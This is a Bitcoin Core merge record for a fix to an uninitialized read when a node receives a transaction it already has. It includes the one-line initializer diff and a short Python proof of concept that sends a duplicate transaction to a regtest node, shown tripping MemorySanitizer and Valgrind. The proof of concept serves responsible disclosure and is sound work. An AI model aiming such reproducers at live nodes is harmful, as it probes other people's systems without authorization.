Merge #17624: net: Fix an uninitialized read in ProcessMessage(…, "tx", …) when receiving a transaction we already have

73b96c9 net: Fix uninitialized read in ProcessMessage(...) (practicalswift)

Pull request description:

  Fix an uninitialized read in `ProcessMessage(…, "tx", …)` when receiving a transaction we already have.

  The uninitialized value is read and used on [L2526 in the case of `AlreadyHave(inv) == true`](https://github.com/bitcoin/bitcoin/blob/d8a66626d63135fd245d5afc524b88b9a94d208b/src/net_processing.cpp#L2494-L2526).

  Proof of concept being run against a `bitcoind` built with MemorySanitizer (`-fsanitize=memory`):

  ```
  $ ./p2p-uninit-read-in-conditional-poc.py
  Usage: ./p2p-uninit-read-in-conditional-poc.py <dstaddr> <dstport> <net>
  $ bitcoind -regtest &
  $ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
  SUMMARY: MemorySanitizer: use-of-uninitialized-value
  [1]+  Exit 77                 bitcoind -regtest
  $
  ```

  Proof of concept being run against a `bitcoind` running under Valgrind (`valgrind --exit-on-first-error`):

  ```
  $ valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest &
  $ ./p2p-uninit-read-in-conditional-poc.py 127.0.0.1 18444 regtest
  ==27351== Conditional jump or move depends on uninitialised value(s)
  [1]+  Exit 1                  valgrind -q --exit-on-first-error=yes --error-exitcode=1 bitcoind -regtest
  $
  ```

  Proof of concept script:

  ```
  #!/usr/bin/env python3

  import sys

  from test_framework.mininode import NetworkThread
  from test_framework.mininode import P2PDataStore
  from test_framework.messages import CTransaction, CTxIn, CTxOut, msg_tx

  def send_duplicate_tx(dstaddr="127.0.0.1", dstport=18444, net="regtest"):
      network_thread = NetworkThread()
      network_thread.start()

      node = P2PDataStore()
      node.peer_connect(dstaddr=dstaddr, dstport=dstport, net=net)()
      node.wait_for_verack()

      tx = CTransaction()
      tx.vin.append(CTxIn())
      tx.vout.append(CTxOut())
      node.send_message(msg_tx(tx))
      node.send_message(msg_tx(tx))
      node.peer_disconnect()
      network_thread.close()

  if __name__ == "__main__":
      if len(sys.argv) != 4:
          print("Usage: {} <dstaddr> <dstport> <net>".format(sys.argv[0]))
          sys.exit(0)
      send_duplicate_tx(sys.argv[1], int(sys.argv[2]), sys.argv[3])
  ```

  Note that the transaction in the proof of concept is the simplest possible, but really any transaction can be used. It does not have to be a valid transaction.

  This bug was introduced in #15921 ("validation: Tidy up ValidationState interface") which was merged in to `master` 28 days ago.

  Luckily this bug was caught before being part of any Bitcoin Core release :)

ACKs for top commit:
  jnewbery:
    utACK 73b96c9
  laanwj:
    ACK 73b96c9, thanks for discovering and reporting this before it ended up in a release.

Tree-SHA512: 7ce6b8f260bcdd9b2ec4ff4b941a891bbef578acf4456df33b7a8d42b248237ec4949e65e2445b24851d1639b10681c701ad500b1c0b776ff050ef8c3812c795

Author: laanwj

src/consensus/validation.h

@@ -114,7 +114,7 @@ inline ValidationState::~ValidationState() {};
 
 class TxValidationState : public ValidationState {
 private:
-    TxValidationResult m_result;
+    TxValidationResult m_result = TxValidationResult::TX_RESULT_UNSET;
 public:
     bool Invalid(TxValidationResult result,
                  const std::string &reject_reason="",
@@ -129,7 +129,7 @@ class TxValidationState : public ValidationState {
 
 class BlockValidationState : public ValidationState {
 private:
-    BlockValidationResult m_result;
+    BlockValidationResult m_result = BlockValidationResult::BLOCK_RESULT_UNSET;
 public:
     bool Invalid(BlockValidationResult result,
                  const std::string &reject_reason="",